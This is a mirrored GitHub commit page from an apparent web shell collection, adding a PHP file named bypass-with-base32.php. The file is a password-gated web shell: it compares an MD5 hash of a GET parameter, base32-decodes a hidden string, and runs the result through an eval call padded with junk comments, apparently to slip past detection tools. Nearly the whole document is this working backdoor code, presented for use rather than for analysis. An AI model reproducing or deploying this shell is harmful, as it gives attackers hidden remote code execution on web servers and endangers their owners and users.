mirror of
https://github.com/tennc/webshell
synced 2024-11-10 05:44:11 +00:00
Create bypass-with-base32.php
This commit is contained in:
parent
eafae576c9
commit
b59b949389
1 changed files with 69 additions and 0 deletions
69
php/bypass-with-base32.php
Normal file
69
php/bypass-with-base32.php
Normal file
|
@ -0,0 +1,69 @@
|
|||
<?php
|
||||
class ZQIH{
|
||||
public $a = null;
|
||||
public $b = null;
|
||||
public $c = null;
|
||||
|
||||
function __construct(){
|
||||
if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){
|
||||
|
||||
$this->a = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
|
||||
|
||||
|
||||
|
||||
$this->LGZOJH = @base32_decode($this->a);
|
||||
@eval/*sopupi3240-=*/("/*iSAC[FH*/".$this->LGZOJH."/*iSAC[FH*/");
|
||||
}}}
|
||||
new ZQIH();
|
||||
|
||||
function base32_encode($input) {
|
||||
$BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
|
||||
$output = '';
|
||||
$v = 0;
|
||||
$vbits = 0;
|
||||
|
||||
for ($i = 0, $j = strlen($input); $i < $j; $i++) {
|
||||
$v <<= 8;
|
||||
$v += ord($input[$i]);
|
||||
$vbits += 8;
|
||||
|
||||
while ($vbits >= 5) {
|
||||
$vbits -= 5;
|
||||
$output .= $BASE32_ALPHABET[$v >> $vbits];
|
||||
$v &= ((1 << $vbits) - 1);
|
||||
}
|
||||
}
|
||||
|
||||
if ($vbits > 0) {
|
||||
$v <<= (5 - $vbits);
|
||||
$output .= $BASE32_ALPHABET[$v];
|
||||
}
|
||||
|
||||
return $output;
|
||||
}
|
||||
|
||||
function base32_decode($input) {
|
||||
$output = '';
|
||||
$v = 0;
|
||||
$vbits = 0;
|
||||
|
||||
for ($i = 0, $j = strlen($input); $i < $j; $i++) {
|
||||
$v <<= 5;
|
||||
if ($input[$i] >= 'a' && $input[$i] <= 'z') {
|
||||
$v += (ord($input[$i]) - 97);
|
||||
} elseif ($input[$i] >= '2' && $input[$i] <= '7') {
|
||||
$v += (24 + $input[$i]);
|
||||
} else {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
$vbits += 5;
|
||||
while ($vbits >= 8) {
|
||||
$vbits -= 8;
|
||||
$output .= chr($v >> $vbits);
|
||||
$v &= ((1 << $vbits) - 1);
|
||||
}
|
||||
}
|
||||
return $output;
|
||||
}
|
||||
?>
|
Loading…
Reference in a new issue